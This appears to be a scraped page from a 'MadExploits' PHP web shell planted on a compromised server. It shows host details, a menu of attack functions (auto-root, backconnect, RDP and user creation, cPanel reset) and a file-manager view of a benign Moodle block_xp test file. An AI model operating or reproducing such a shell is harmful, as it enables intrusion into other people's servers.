Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.130.44
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
blocks /
xp /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
behat
[ DIR ]
drwxr-xr-x
fixtures
[ DIR ]
drwxr-xr-x
base_testcase.php
1.38
KB
-rw-r--r--
config_test.php
15.89
KB
-rw-r--r--
course_world_collection_strate...
5.18
KB
-rw-r--r--
course_world_config_test.php
2.95
KB
-rw-r--r--
course_world_test.php
6.6
KB
-rw-r--r--
filters_test.php
13.89
KB
-rw-r--r--
leaderboard_factory_test.php
13.49
KB
-rw-r--r--
leaderboard_test.php
14.39
KB
-rw-r--r--
privacy_provider_test.php
24.22
KB
-rw-r--r--
rules_test.php
7.04
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : course_world_config_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Block XP course world config test. * * @package block_xp * @copyright 2020 Frédéric Massart * @author Frédéric Massart <fred@branchup.tech> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); global $CFG; require_once(__DIR__ . '/base_testcase.php'); require_once(__DIR__ . '/fixtures/events.php'); use block_xp\di; /** * Course world config testcase. * * @package block_xp * @copyright 2020 Frédéric Massart * @author Frédéric Massart <fred@branchup.tech> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class block_xp_course_world_config_testcase extends block_xp_base_testcase { protected function get_world($courseid) { return di::get('course_world_factory')->get_world($courseid); } public function test_default_config() { global $DB; $defaultcourse = new block_xp\local\config\default_course_world_config(); $defaultadmin = new block_xp\local\config\default_admin_config(); $inheritable = array_keys(array_intersect_key($defaultcourse->get_all(), $defaultadmin->get_all())); $config = di::get('config'); $dg = $this->getDataGenerator(); $c1 = $dg->create_course(); $c2 = $dg->create_course(); // Validate that all keys match the admin value. $cfg1 = $this->get_world($c1->id)->get_config(); foreach ($inheritable as $key) { $this->assertEquals($cfg1->get($key), $config->get($key));; } // Validate that changing an admin value is populated in the course. $this->assertNotEquals(9, $config->get('neighbours')); $config->set('neighbours', 9); $this->assertContains('neighbours', $inheritable); $cfg2 = $this->get_world($c2->id)->get_config(); foreach ($inheritable as $key) { $this->assertEquals($cfg2->get($key), $config->get($key));; } // After saving the configuration, any more changes to the admin won't have an impact. $this->assertEquals($config->get('neighbours'), $cfg2->get('neighbours')); $cfg2->set('neighbours', 7); $config->set('neighbours', 6); $this->assertNotEquals($config->get('neighbours'), $cfg2->get('neighbours')); } }
Close